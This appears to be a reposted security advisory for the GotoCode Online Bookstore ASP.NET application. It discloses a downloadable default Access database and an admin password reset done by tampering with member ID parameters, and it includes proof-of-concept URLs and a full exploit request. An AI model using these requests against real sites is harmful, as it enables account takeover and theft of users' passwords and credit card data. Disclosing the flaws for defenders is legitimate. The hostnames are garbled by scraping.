标题: GotoCode Online Bookstore Multiple Vulnerabilities
缺陷类别: Privilege Escalation / Remote Database Download
作者: Nathaniel Carew HdhCmsTest2cto测试数据 Email : njcarew@gmail测试数据
级别: High
下载 地址: http://HdhCmsTestgotocode测试数据/apps. asp ?app_id=3&
平台: ASP.NET
测试平台: MS Windows Server Standard 2003 SP2 / IIS 6
概述
---------
Database:
If the application is configured using the default directory structure and an
access database then a user can download the access database.
Privilege Escalation:
By modifying the Form_member_id and p_Form_member_id variables to the ID of the admin
account (default ID is 7) on the MyInfo.aspx page in the POST data you can reset the admin
password with the password you entered into the appropriate feed to gain full admin rights to the web application.
Proof of Concept:
-----------------
http://HdhCmsTest2cto测试数据 /[path]/BookStore_MSAccess.mdb
http://HdhCmsTest2cto测试数据 /[path]/MyInfo.aspx?p_Form_member_id=7&Form_member_id=7&Form_member_password=moo&Form_name=Administrator&Form_last_name=Account&Form_email=admin%40HdhCmsTest2cto测试数据 &Form_address=&Form_phone=&Form_notes=&Form_card_type_id=1&Form_card_number=111111111111
Impact:
-------
By resetting the admin password an attacker would be able to completely control the application, users
and their associated data such as stored credit card information. Successful database exploitation
would allow an attacker to download the complete database of users information including email addresses
usernames, passwords, credit cards and associated billing and ordering data.
查看更多关于GotoCode Online Bookstore多个缺陷及修复 - 网站安全的详细内容...